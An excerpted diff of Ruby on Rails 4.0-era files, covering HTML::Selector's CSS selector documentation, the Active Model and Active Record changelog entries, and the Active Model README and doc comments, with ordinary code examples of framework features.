+ # * <tt>:not(expr)</tt> -- Match an element that does not match the
+ # negation expression.
+ #
+ # When using a combination of the above, the element name comes first
+ # followed by identifier, class names, attributes, pseudo classes and
+ # negation in any order. Do not separate these parts with spaces!
+ # Space separation is used for descendant selectors.
+ #
+ # For example:
+ # selector = HTML::Selector.new "form.login[action=/login]"
+ # The matched element must be of type +form+ and have the class +login+.
+ # It may have other classes, but the class +login+ is required to match.
+ # It must also have an attribute called +action+ with the value
+ # <tt>/login</tt>.
+ #
+ # This selector will match the following element:
+ # <form class="login form" method="post" action="/login">
+ # but will not match the element:
+ # <form method="post" action="/logout">
+ #
+ # === Attribute Values
+ #
+ # Several operators are supported for matching attributes:
+ # * <tt>name</tt> -- The element must have an attribute with that name.
+ # * <tt>name=value</tt> -- The element must have an attribute with that
+ # name and value.
+ # * <tt>name^=value</tt> -- The attribute value must start with the
+ # specified value.
+ # * <tt>name$=value</tt> -- The attribute value must end with the
+ # specified value.
+ # * <tt>name*=value</tt> -- The attribute value must contain the
+ # specified value.
+ # * <tt>name~=word</tt> -- The attribute value must contain the specified
+ # word (space separated).
+ # * <tt>name|=word</tt> -- The attribute value must start with specified
+ # word.
+ #
+ # For example, the following two selectors match the same element:
+ # #my_id
+ # [id=my_id]
+ # and so do the following two selectors:
+ # .my_class
+ # [class~=my_class]
+ #
+ # === Alternatives, siblings, children
+ #
+ # Complex selectors use a combination of expressions to match elements:
+ # * <tt>expr1 expr2</tt> -- Match any element against the second expression
+ # if it has some parent element that matches the first expression.
+ # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
+ # if it is the child of an element that matches the first expression.
+ # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
+ # if it immediately follows an element that matches the first expression.
+ # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
+ # that comes after an element that matches the first expression.
+ # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
+ # or against the second expression.
+ #
+ # Since children and sibling selectors may match more than one element given
+ # the first element, the #match method may return more than one match.
+ #
+ # === Pseudo classes
+ #
+ # Pseudo classes were introduced in CSS 3. They are most often used to select
+ # elements in a given position:
+ # * <tt>:root</tt> -- Match the element only if it is the root element
+ # (no parent element).
+ # * <tt>:empty</tt> -- Match the element only if it has no child elements,
+ # and no text content.
+ # * <tt>:content(string)</tt> -- Match the element only if it has <tt>string</tt>
+ # as its text content (ignoring leading and trailing whitespace).
+ # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
+ # of its parent element.
+ # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
+ # of its parent element and its type.
+ # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
+ # of its parent element.
+ # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
+ # of its parent element of its type.
+ # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
+ # of its parent element.
+ # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
+ # of its parent element of its type.
+ # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
+ # of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
+ # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
+ # in each group of <tt>a</tt> child elements of its parent element.
+ # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
+ # in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
+ # elements of its parent element.
+ # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
+ # Same as <tt>:nth-child(2n+1)</tt>.
+ # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
+ # fourth). Same as <tt>:nth-child(2n+2)</tt>.
+ # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
+ # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
+ # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
+ # only elements of its type.
+ # * <tt>:not(selector)</tt> -- Match the element only if the element does not
+ # match the simple selector.
+ #
+ # As you can see, <tt>:nth-child</tt> pseudo class and its variant can get quite
+ # tricky and the CSS specification doesn't do a much better job explaining it.
+ # But after reading the examples and trying a few combinations, it's easy to
+ # figure out.
+ #
+ # For example:
+ # table tr:nth-child(odd)
+ # Selects every second row in the table starting with the first one.
+ #
+ # div p:nth-child(4)
+ # Selects the fourth paragraph in the +div+, but not if the +div+ contains
+ # other elements, since those are also counted.
+ #
+ # div p:nth-of-type(4)
+ # Selects the fourth paragraph in the +div+, counting only paragraphs, and
+ # ignoring all other elements.
+ #
+ # div p:nth-of-type(-n+4)
+ # Selects the first four paragraphs, ignoring all others.
+ #
+ # And you can always select an element that matches one set of rules but
+ # not another using <tt>:not</tt>. For example:
+ # p:not(.post)
+ # Matches all paragraphs that do not have the class <tt>.post</tt>.
+ #
+ # === Substitution Values
+ #
+ # You can use substitution with identifiers, class names and element values.
+ # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
+ # next value in the argument list following the CSS expression.
+ #
+ # The substitution value may be a string or a regular expression. All other
+ # values are converted to strings.
+ #
+ # For example:
+ # selector = HTML::Selector.new "#?", /^\d+$/
+ # matches any element whose identifier consists of one or more digits.
+ #
+ # See http://www.w3.org/TR/css3-selectors/

+## Rails 4.0.0 (unreleased) ##
+
+* Add `ActiveModel::Errors#full_messages_for`, to return all the error messages
+ for a given attribute.
+
+ Example:
+
+ class Person
+ include ActiveModel::Validations
+
+ attr_reader :name, :email
+ validates_presence_of :name, :email
+ end
+
+ person = Person.new
+ person.valid? # => false
+ person.errors.full_messages_for(:name) # => ["Name can't be blank"]
+
+ *Volodymyr Shatsky*
+
+* Added a method so that validations can be easily cleared on a model.
+ For example:
+
+ class Person
+ include ActiveModel::Validations
+
+ validates_uniqueness_of :first_name
+ validate :cannot_be_robot
+
+ def cannot_be_robot
+ errors.add(:base, 'A person cannot be a robot') if person_is_robot
+ end
+ end
+
+ Now, if someone runs `Person.clear_validators!`, then the following occurs:
+
+ Person.validators # => []
+ Person._validate_callbacks.empty? # => true
+
+ *John Wang*
+
+* `has_secure_password` does not fail the confirmation validation
+ when assigning empty String to `password` and `password_confirmation`.
+ Fixes #9535.
+
+ Example:
+
+ # Given User has_secure_password.
+ @user.password = ""
+ @user.password_confirmation = ""
+ @user.valid?(:update) # used to be false
+
+ *Yves Senn*
+
+* `validates_confirmation_of` does not override writer methods for
+ the confirmation attribute if no reader is defined.
+
+ Example:
+
+ class Blog
+ def title=(new_title)
+ @title = new_title.downcase
+ end
+
+ # previously this would override the setter above.
+ validates_confirmation_of :title
+ end
+
+ *Yves Senn*
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Add `ActiveModel::Validations::AbsenceValidator`, a validator to check the
+ absence of attributes.
+
+ class Person
+ include ActiveModel::Validations
+
+ attr_accessor :first_name
+ validates_absence_of :first_name
+ end
+
+ person = Person.new
+ person.first_name = "John"
+ person.valid?
+ # => false
+ person.errors.messages
+ # => {:first_name=>["must be blank"]}
+
+ *Roberto Vasquez Angel*
+
+* `[attribute]_changed?` now returns `false` after a call to `reset_[attribute]!`.
+
+ *Renato Mascarenhas*
+
+* Observers was extracted from Active Model as `rails-observers` gem.
+
+ *Rafael Mendonça França*
+
+* Specify type of singular association during serialization.
+
+ *Steve Klabnik*
+
+* Fixed length validator to correctly handle `nil`. Fixes #7180.
+
+ *Michal Zima*
+
+* Removed dispensable `require` statements. Make sure to require `active_model` before requiring
+ individual parts of the framework.
+
+ *Yves Senn*
+
+* Use BCrypt's `MIN_COST` in the test environment for speedier tests when using `has_secure_password`.
+
+ *Brian Cardarella + Jeremy Kemper + Trevor Turk*
+
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to
+ protect attributes from mass assignment when non-permitted attributes are passed.
+
+ *DHH + Guillermo Iguaran*
+
+* `ActiveModel::MassAssignmentSecurity` has been extracted from Active Model and the
+ `protected_attributes` gem should be added to Gemfile in order to use
+ `attr_accessible` and `attr_protected` macros in your models.
+
+ *Guillermo Iguaran*
+
+* Due to a change in builder, `nil` and empty strings now generate
+ closed tags, so instead of this:
+
+ <pseudonyms nil=\"true\"></pseudonyms>
+
+ it generates this:
+
+ <pseudonyms nil=\"true\"/>
+
+ *Carlos Antonio da Silva*
+
+* Inclusion/exclusion validators accept a method name passed as a symbol to the
+ `:in` option.
+
+ This allows to use dynamic inclusion/exclusion values using methods, besides
+ the current lambda/proc support.
+
+ *Gabriel Sobrinho*
+
+* `ActiveModel::Validation#validates` ability to pass custom exception to the
+ `:strict` option.
+
+ *Bogdan Gusiev*
+
+* Changed `ActiveModel::Serializers::Xml::Serializer#add_associations` to by default
+ propagate `:skip_types, :dasherize, :camelize` keys to included associations.
+ It can be overridden on each association by explicitly specifying the option on one
+ or more associations
+
+ *Anthony Alberto*
+
+* Changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to false.
+ Now, AM Serializers and AR objects have the same default behaviour. Fixes #6578.
+
+ class User < ActiveRecord::Base; end
+
+ class Person
+ include ActiveModel::Model
+ include ActiveModel::AttributeMethods
+ include ActiveModel::Serializers::JSON
+
+ attr_accessor :name, :age
+
+ def attributes
+ instance_values
+ end
+ end
+
+ user.as_json
+ => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
+ # root is not included
+
+ person.as_json
+ => {"name"=>"Francesco", "age"=>22}
+ # root is not included
+
+ *Francesco Rodriguez*
+
+* Passing false hash values to `validates` will no longer enable the corresponding validators.
+
+ *Steve Purcell*
+
+* `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute`.
+
+ *Brian Cardarella*
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with AP out of box.
+
+ *Guillermo Iguaran*
+
+* `AM::Errors#to_json`: support `:full_messages` parameter.
+
+ *Bogdan Gusiev*
+
+* Trim down Active Model API by removing `valid?` and `errors.full_messages`.
+
+ *José Valim*
+
+* When `^` or `$` are used in the regular expression provided to `validates_format_of`
+ and the `:multiline` option is not set to true, an exception will be raised. This is
+ to prevent security vulnerabilities when using `validates_format_of`. The problem is
+ described in detail in the Rails security guide.
+
+ *Jan Berdajs + Egor Homakov*

+= Active Model -- model interfaces for Rails
+
+Active Model provides a known set of interfaces for usage in model classes.
+They allow for Action Pack helpers to interact with non-Active Record models,
+for example. Active Model also helps with building custom ORMs for use outside of
+the Rails framework.
+
+Prior to Rails 3.0, if a plugin or gem developer wanted to have an object
+interact with Action Pack helpers, it was required to either copy chunks of
+code from Rails, or monkey patch entire helpers to make them handle objects
+that did not exactly conform to the Active Record interface. This would result
+in code duplication and fragile applications that broke on upgrades. Active
+Model solves this by defining an explicit API. You can read more about the
+API in <tt>ActiveModel::Lint::Tests</tt>.
+
+Active Model provides a default module that implements the basic API required
+to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
+
+ class Person
+ include ActiveModel::Model
+
+ attr_accessor :name, :age
+ validates_presence_of :name
+ end
+
+ person = Person.new(name: 'bob', age: '18')
+ person.name # => 'bob'
+ person.age # => '18'
+ person.valid? # => true
+
+It includes model name introspections, conversions, translations and
+validations, resulting in a class suitable to be used with Action Pack.
+See <tt>ActiveModel::Model</tt> for more examples.
+
+Active Model also provides the following functionality to have ORM-like
+behavior out of the box:
+
+* Add attribute magic to objects
+
+ class Person
+ include ActiveModel::AttributeMethods
+
+ attribute_method_prefix 'clear_'
+ define_attribute_methods :name, :age
+
+ attr_accessor :name, :age
+
+ def clear_attribute(attr)
+ send("#{attr}=", nil)
+ end
+ end
+
+ person.clear_name
+ person.clear_age
+
+ {Learn more}[link:classes/ActiveModel/AttributeMethods.html]
+
+* Callbacks for certain operations
+
+ class Person
+ extend ActiveModel::Callbacks
+ define_model_callbacks :create
+
+ def create
+ run_callbacks :create do
+ # Your create action methods here
+ end
+ end
+ end
+
+ This generates +before_create+, +around_create+ and +after_create+
+ class methods that wrap your create method.
+
+ {Learn more}[link:classes/ActiveModel/Callbacks.html]
+
+* Tracking value changes
+
+ class Person
+ include ActiveModel::Dirty
+
+ attr_accessor :name
+ end
+
+ person = Person.new
+ person.name # => nil
+ person.changed? # => false
+ person.name = 'bob'
+ person.changed? # => true
+ person.changed # => ['name']
+ person.changes # => { 'name' => [nil, 'bob'] }
+ person.name = 'robert'
+ person.save
+ person.previous_changes # => {'name' => ['bob, 'robert']}
+
+ {Learn more}[link:classes/ActiveModel/Dirty.html]
+
+* Adding +errors+ interface to objects
+
+ Exposing error messages allows objects to interact with Action Pack
+ helpers seamlessly.
+
+ class Person
+
+ def initialize
+ @errors = ActiveModel::Errors.new(self)
+ end
+
+ attr_accessor :name
+ attr_reader :errors
+
+ def validate!
+ errors.add(:name, "can not be nil") if name.nil?
+ end
+
+ def self.human_attribute_name(attr, options = {})
+ "Name"
+ end
+ end
+
+ person.errors.full_messages
+ # => ["Name can not be nil"]
+
+ {Learn more}[link:classes/ActiveModel/Errors.html]
+
+* Model name introspection

+ class NamedPerson
+ extend ActiveModel::Naming
+ end
+
+ NamedPerson.model_name # => "NamedPerson"
+ NamedPerson.model_name.human # => "Named person"
+
+ {Learn more}[link:classes/ActiveModel/Naming.html]
+
+* Making objects serializable
+
+ ActiveModel::Serialization provides a standard interface for your object
+ to provide +to_json+ or +to_xml+ serialization.
+
+ class SerialPerson
+ include ActiveModel::Serialization
+
+ attr_accessor :name
+
+ def attributes
+ {'name' => name}
+ end
+ end
+
+ s = SerialPerson.new
+ s.serializable_hash # => {"name"=>nil}
+
+ class SerialPerson
+ include ActiveModel::Serializers::JSON
+ end
+
+ s = SerialPerson.new
+ s.to_json # => "{\"name\":null}"
+
+ class SerialPerson
+ include ActiveModel::Serializers::Xml
+ end
+
+ s = SerialPerson.new
+ s.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person...
+
+ {Learn more}[link:classes/ActiveModel/Serialization.html]
+
+* Internationalization (i18n) support
+
+ class Person
+ extend ActiveModel::Translation
+ end
+
+ Person.human_attribute_name('my_attribute')
+ # => "My attribute"
+
+ {Learn more}[link:classes/ActiveModel/Translation.html]
+
+* Validation support
+
+ class Person
+ include ActiveModel::Validations
+
+ attr_accessor :first_name, :last_name
+
+ validates_each :first_name, :last_name do |record, attr, value|
+ record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+ end
+ end
+

+ person.first_name = 'zoolander'

+
+ {Learn more}[link:classes/ActiveModel/Validations.html]
+
+* Custom validators
+

+ # def create

+module ActiveModel
+ # == Active \Model \Errors
+ #
+ # Provides a modified +Hash+ that you can include in your object
+ # for handling error messages and interacting with Action Pack helpers.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # # Required dependency for ActiveModel::Errors
+ # extend ActiveModel::Naming
+ #
+ # def initialize
+ # @errors = ActiveModel::Errors.new(self)
+ # end
+ #
+ # attr_accessor :name
+ # attr_reader :errors
+ #
+ # def validate!
+ # errors.add(:name, "can not be nil") if name == nil
+ # end

+ # # The following methods are needed to be minimally implemented
+ #
+ # def read_attribute_for_validation(attr)
+ # send(attr)

+ #
+ # The last three methods are required in your object for Errors to be
+ # able to generate error messages correctly and also handle multiple
+ # languages. Of course, if you extend your object with ActiveModel::Translation
+ # you will not need to implement the last two. Likewise, using
+ # ActiveModel::Validations will handle the validation related methods
+ # for you.

+module ActiveModel
+
+ # == Active \Model Basic \Model
+ #
+ # Includes the required interface for an object to interact with
+ # <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
+ # It includes model name introspections, conversions, translations and
+ # validations. Besides that, it allows you to initialize the object with a
+ # hash of attributes, pretty much like <tt>ActiveRecord</tt> does.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :name, :age
+ # end
+ #
+ # person = Person.new(name: 'bob', age: '18')
+ # person.name # => 'bob'
+ # person.age # => 18
+ #
+ # Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
+ # to return +false+, which is the most common case. You may want to override
+ # it in your class to simulate a different scenario:
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :id, :name
+ #
+ # def persisted?
+ # self.id == 1
+ # end
+ # end
+ #
+ # person = Person.new(id: 1, name: 'bob')
+ # person.persisted? # => true
+ #
+ # Also, if for some reason you need to run code on <tt>initialize</tt>, make
+ # sure you call +super+ if you want the attributes hash initialization to
+ # happen.
+ #
+ # class Person
+ # include ActiveModel::Model

+ #
+ # validates :terms, acceptance: true
+ # validates :password, confirmation: true
+ # validates :username, exclusion: { in: %w(admin superuser) }
+ # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }

+ # validates :age, numericality: true
+ # validates :username, presence: true
+ # validates :username, uniqueness: true
+ #
+ # The power of the +validates+ method comes when using custom validators

+ #
+ # validates :email, format: /@/
+ # validates :gender, inclusion: %w(male female)

+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.

+## Rails 4.0.0 (unreleased) ##
+
+* Allow to use databases.rake tasks without having `Rails.application`.
+
+ *Piotr Sarnacki*
+
+* Fix a `SystemStackError` problem when using time zone aware or serialized attributes.
+ In current implementation, we reuse `column_types` argument when initiating an instance.
+ If an instance has serialized or time zone aware attributes, `column_types` is
+ wrapped multiple times in `decorate_columns` method. Thus the above error occurs.
+
+ *Dan Erikson & kennyj*
+
+* Fix for a regression bug in which counter cache columns were not being updated
+ when record was pushed into a has_many association. For example:
+
+ Post.first.comments << Comment.create
+
+ Fixes #3891.
+
+ *Matthew Robertson*
+
+* If a model was instantiated from the database using `select`, `respond_to?`
+ returns false for non-selected attributes. For example:
+
+ post = Post.select(:title).first

+
+* Run `rake migrate:down` & `rake migrate:up` in transaction if database supports.
+
+ *Alexander Bondarev*
+
+* `0x` prefix must be added when assigning hexadecimal string into `bit` column in PostgreSQL.
+
+ *kennyj*
+
+* Added Statement Cache to allow the caching of a single statement. The cache works by
+ duping the relation returned from yielding a statement, which allows skipping the AST
+ building phase for following executes. The cache returns results in array format.
+
+ Example:
+
+ cache = ActiveRecord::StatementCache.new do
+ Book.where(name: "my book").limit(100)
+ end
+
+ books = cache.execute
+
+ The solution attempts to get closer to the speed of `find_by_sql` but still maintaining
+ the expressiveness of the Active Record queries.

+ *Olli Rissanen*
+
+* Preserve context while merging relations with join information.
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post
+ end
+
+ class Author < ActiveRecord::Base
+ has_many :posts
+ end
+
+ class Post < ActiveRecord::Base
+ belongs_to :author
+ has_many :comments
+ end
+
+ `Comment.joins(:post).merge(Post.joins(:author).merge(Author.where(:name => "Joe Blogs"))).all`
+ would fail with
+ `ActiveRecord::ConfigurationError: Association named 'author' was not found on Comment`.
+
+ It is failing because `all` is being called on relation which looks like this after all
+ the merging: `{:joins=>[:post, :author], :where=>[#<Arel::Nodes::Equality: ....}`. In this
+ relation all the context that `Post` was joined with `Author` is lost and hence the error
+ that `author` was not found on `Comment`.
+
+ The solution is to build `JoinAssociation` when two relations with join information are being
+ merged. And later while building the Arel use the previously built `JoinAssociation` record
+ in `JoinDependency#graft` to build the right from clause.
+ Fixes #3002.
+
+ *Jared Armstrong and Neeraj Singh*
+
+* `default_scopes?` is deprecated. Check for `default_scopes.empty?` instead.
+
+ *Agis Anastasopoulos*
+
+* Default values for PostgreSQL bigint types now get parsed and dumped to the
+ schema correctly.
+
+ *Erik Peterson*
+
+* Fix associations with `:inverse_of` option when building association
+ with a block. Inside the block the parent object was different then
+ after the block.
+
+ Example:
+
+ parent.association.build do |child|
+ child.parent.equal?(parent) # false
+ end
+
+ # vs
+
+ child = parent.association.build
+ child.parent.equal?(parent) # true
+
+ *Michal Cichra*
+
+* `has_many` using `:through` now obeys the order clause mentioned in
+ through association.
+ Fixes #10016.
+
+ *Neeraj Singh*
+
+* `belongs_to :touch` behavior now touches old association when
+ transitioning to new association.
+
+ class Passenger < ActiveRecord::Base
+ belongs_to :car, touch: true
+ end
+
+ car_1 = Car.create
+ car_2 = Car.create
+
+ passenger = Passenger.create car: car_1
+
+ passenger.car = car_2
+ passenger.save
+
+ Previously only car_2 would be touched. Now both car_1 and car_2
+ will be touched.

+ These tasks should be supported by 3rd-party adapter.
+
+ *kennyj*
+
+* Allow `ActiveRecord::Base.connection_handler` to have thread affinity and be
+ settable, this effectively allows Active Record to be used in a multithreaded

+ *Sam Saffron*
+
+* `rename_column` preserves `auto_increment` in MySQL migrations.

+
+* PostgreSQL geometric type point is now supported by Active Record. Fixes #7324.
+
+ *Martin Schuerrer*
+
+* Add support for concurrent indexing in PostgreSQL adapter via the
+ `algorithm: :concurrently` option.
+
+ add_index(:people, :last_name, algorithm: :concurrently)
+
+ Also add support for MySQL index algorithms (`COPY`, `INPLACE`,
+ `DEFAULT`) via the `:algorithm` option.
+
+ add_index(:people, :last_name, algorithm: :copy) # or :inplace/:default
+
+ *Dan McClain*
+
+* Add support for fulltext and spatial indexes on MySQL tables with MyISAM database
+ engine via the `type: 'FULLTEXT'` / `type: 'SPATIAL'` option.
+
+ add_index(:people, :last_name, type: 'FULLTEXT')
+ add_index(:people, :last_name, type: 'SPATIAL')
+
+ *Ken Mazaika*
+
+* Add an `add_index` override in PostgreSQL adapter and MySQL adapter
+ to allow custom index type support.
+ Fixes #6101.
+
+ add_index(:wikis, :body, :using => 'gin')
+
+ *Stefan Huber* and *Doabit*
+
+* After extraction of mass-assignment attributes (which protects [id, type]
+ by default) we can pass id to `update_attributes` and it will update
+ another record because id will be used in where statement. We never have
+ to change id in where statement because we try to set/replace fields for
+ already loaded record but we have to try to set new id for that record.
+
+ *Dmitry Vorotilin*
+
+* Models with multiple counter cache associations now update correctly on destroy.
+ See #7706.
+
+ *Ian Young*
+
+* If `:inverse_of` is true on an association, then when one calls `find()` on
+ the association, Active Record will first look through the in-memory objects
+ in the association for a particular id. Then, it will go to the DB if it
+ is not found. This is accomplished by calling `find_by_scan` in
+ collection associations whenever `options[:inverse_of]` is not nil.
+ Fixes #9470.
+
+ *John Wang*
+
+* `rake db:create` does not change permissions of the MySQL root user.
+ Fixes #8079.
+
+ *Yves Senn*
+
+* The length of the `version` column in the `schema_migrations` table
+ created by the `mysql2` adapter is 191 if the encoding is "utf8mb4".
+
+ The "utf8" encoding in MySQL has support for a maximum of 3 bytes per character,
+ and only contains characters from the BMP. The recently added
+ [utf8mb4](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-utf8mb4.html)
+ encoding extends the support to four bytes. As of this writing, said encoding
+ is supported in the betas of the `mysql2` gem.
+
+ Setting the encoding to "utf8mb4" has
+ [a few implications](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-upgrading.html).
+ This change addresses the max length for indexes, which is 191 instead of 255.
+
+ *Xavier Noria*
+
+* Counter caches on associations will now stay valid when attributes are
+ updated (not just when records are created or destroyed), for example,
+ when calling `update_attributes`. The following code now works:
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post, counter_cache: true
+ end
+
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+
+ post = Post.create
+ comment = Comment.create
+
+ post.comments << comment
+ post.save.reload.comments_count # => 1
+ comment.update_attributes(post_id: nil)
+
+ post.save.reload.comments_count # => 0
+
+ Updating the id of a `belongs_to` object with the id of a new object will
+ also keep the count accurate.
+
+ *John Wang*
+
+* Referencing join tables implicitly was deprecated. There is a
+ possibility that these deprecation warnings are shown even if you
+ don't make use of that feature. You can now disable the feature entirely.
+ Fixes #9712.
+
+ Example:
+
+ # in your configuration
+ config.active_record.disable_implicit_join_references = true
+
+ # or directly
+ ActiveRecord::Base.disable_implicit_join_references = true
+
+ *Yves Senn*
+
+* The `:distinct` option for `Relation#count` is deprecated. You
+ should use `Relation#distinct` instead.
+
+ Example:
+
+ # Before
+ Post.select(:author_name).count(distinct: true)
+
+ # After
+ Post.select(:author_name).distinct.count
+
+ *Yves Senn*
+
+* Rename `Relation#uniq` to `Relation#distinct`. `#uniq` is still
+ available as an alias but we encourage to use `#distinct` instead.
+ Also `Relation#uniq_value` is aliased to `Relation#distinct_value`,
+ this is a temporary solution and you should migrate to `distinct_value`.
+
+ *Yves Senn*
+
+* Fix quoting for sqlite migrations using `copy_table_contents` with binary
+ columns.
+
+ These would fail with "SQLite3::SQLException: unrecognized token" because
+ the column was not being passed to `quote` so the data was not quoted
+ correctly.
+
+ *Matthew M. Boedicker*
+
+* Promotes `change_column_null` to the migrations API. This macro sets/removes
+ `NOT NULL` constraints, and accepts an optional argument to replace existing
+ `NULL`s if needed. The adapters for SQLite, MySQL, PostgreSQL, and (at least)
+ Oracle, already implement this method.
+
+ *Xavier Noria*
+
+* Uniqueness validation allows you to pass `:conditions` to limit
+ the constraint lookup.
+
+ Example:
+
+ validates_uniqueness_of :title, conditions: -> { where('approved = ?', true) }
+
+ *Mattias Pfeiffer + Yves Senn*
+
+* `connection` is deprecated as an instance method.
+ This allows end-users to have a `connection` method on their models
+ without clashing with Active Record internals.
+
+ *Ben Moss*
+
+* When copying migrations, preserve their magic comments and content encoding.
+
+ *OZAWA Sakuro*
+
+* Fix `subclass_from_attrs` when `eager_load` is false. It cannot find
+ subclass because all classes are loaded automatically when it needs.
+
+ *Dmitry Vorotilin*
+
+* When `:name` option is provided to `remove_index`, use it if there is no
+ index by the conventional name.
+
+ For example, previously if an index was removed like so
+ `remove_index :values, column: :value, name: 'a_different_name'`
+ the generated SQL would not contain the specified index name,
+ and hence the migration would fail.
+ Fixes #8858.
+
+ *Ezekiel Smithburg*
+
+* Created block to by-pass the prepared statement bindings.
+ This will allow to compose fragments of large SQL statements to
+ avoid multiple round-trips between Ruby and the DB.
+
+ Example:
+
+ sql = Post.connection.unprepared_statement do
+ Post.first.comments.to_sql
+ end
+
+ *Cédric Fabianski*
+
+* Change the semantics of combining scopes to be the same as combining
+ class methods which return scopes. For example:
+
+ class User < ActiveRecord::Base
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+ end
+
+ class Post < ActiveRecord::Base
+ def self.active
+ where state: 'active'
+ end
+
+ def self.inactive
+ where state: 'inactive'
+ end
+ end
+
+ ### BEFORE ###
+
+ User.where(state: 'active').where(state: 'inactive')
+ # => SELECT * FROM users WHERE state = 'active' AND state = 'inactive'
+
+ User.active.inactive
+ # => SELECT * FROM users WHERE state = 'inactive'
+
+ Post.active.inactive
+ # => SELECT * FROM posts WHERE state = 'active' AND state = 'inactive'
+
+ ### AFTER ###
+
+ User.active.inactive
+ # => SELECT * FROM posts WHERE state = 'active' AND state = 'inactive'
+
+ Before this change, invoking a scope would merge it into the current
+ scope and return the result. `Relation#merge` applies "last where
+ wins" logic to de-duplicate the conditions, but this lead to
+ confusing and inconsistent behaviour. This fixes that.
+
+ If you really do want the "last where wins" logic, you can opt-in to
+ it like so:
+
+ User.active.merge(User.inactive)
+
+ Fixes #7365.
+
+ *Neeraj Singh* and *Jon Leighton*
+
+* Expand `#cache_key` to consult all relevant updated timestamps.
+
+ Previously only `updated_at` column was checked, now it will
+ consult other columns that received updated timestamps on save,
+ such as `updated_on`. When multiple columns are present it will
+ use the most recent timestamp.
+ Fixes #9033.
+
+ *Brendon Murphy*
+
+* Throw `NotImplementedError` when trying to instantiate `ActiveRecord::Base` or an abstract class.
+
+ *Aaron Weiner*
+
+* Warn when `rake db:structure:dump` with a MySQL database and
+ `mysqldump` is not in the PATH or fails.
+ Fixes #9518.
+
+ *Yves Senn*
+
+* Remove `connection#structure_dump`, which is no longer used. *Yves Senn*
+
+* Make it possible to execute migrations without a transaction even
+ if the database adapter supports DDL transactions.
+ Fixes #9483.
+
+ Example:
+
+ class ChangeEnum < ActiveRecord::Migration
+ disable_ddl_transaction!
+
+ def up
+ execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+ end
+ end
+
+ *Yves Senn*
+
+* Assigning "0.0" to a nullable numeric column does not make it dirty.
+ Fixes #9034.
+
+ Example:
+
+ product = Product.create price: 0.0
+ product.price = '0.0'
+ product.changed? # => false (this used to return true)
+ product.changes # => {} (this used to return { price: [0.0, 0.0] })
+
+ *Yves Senn*
+
+* Added functionality to unscope relations in a relations chain. For
+ instance, if you are passed in a chain of relations as follows:
+
+ User.where(name: "John").order('id DESC')
+
+ but you want to get rid of order, then this feature allows you to do:
+
+ User.where(name: "John").order('id DESC').unscope(:order)
+ == User.where(name: "John")
+
+ The .unscope() function is more general than the .except() method because
+ .except() only works on the relation it is acting on. However, .unscope()
+ works for any relation in the entire relation chain.
+
+ *John Wang*
+
+* PostgreSQL timestamp with time zone (timestamptz) datatype now returns a
+ ActiveSupport::TimeWithZone instance instead of a string
+
+ *Troy Kruthoff*
+
+* The `#append` method for collection associations behaves like`<<`.
+ `#prepend` is not defined and `<<` or `#append` should be used.
+ Fixes #7364.
+
+ *Yves Senn*
+
+* Added support for creating a table via Rails migration generator.
+ For example,
+
+ rails g migration create_books title:string content:text
+
+ will generate a migration that creates a table called books with
+ the listed attributes, without creating a model.
+
+ *Sammy Larbi*
+
+* Fix bug that raises the wrong exception when the exception handled by PostgreSQL adapter
+ doesn't respond to `#result`.
+ Fixes #8617.
+
+ *kennyj*
+
+* Support PostgreSQL specific column types when using `change_table`.
+ Fixes #9480.
+
+ Example:
+
+ change_table :authors do |t|
+ t.hstore :books
+ t.json :metadata
+ end
+
+ *Yves Senn*
+
+* Revert 408227d9c5ed7d, 'quote numeric'. This introduced some regressions.
+
+ *Steve Klabnik*
+
+* Fix calculation of `db_runtime` property in
+ `ActiveRecord::Railties::ControllerRuntime#cleanup_view_runtime`.
+ Previously, after raising `ActionView::MissingTemplate`, `db_runtime` was
+ not populated.
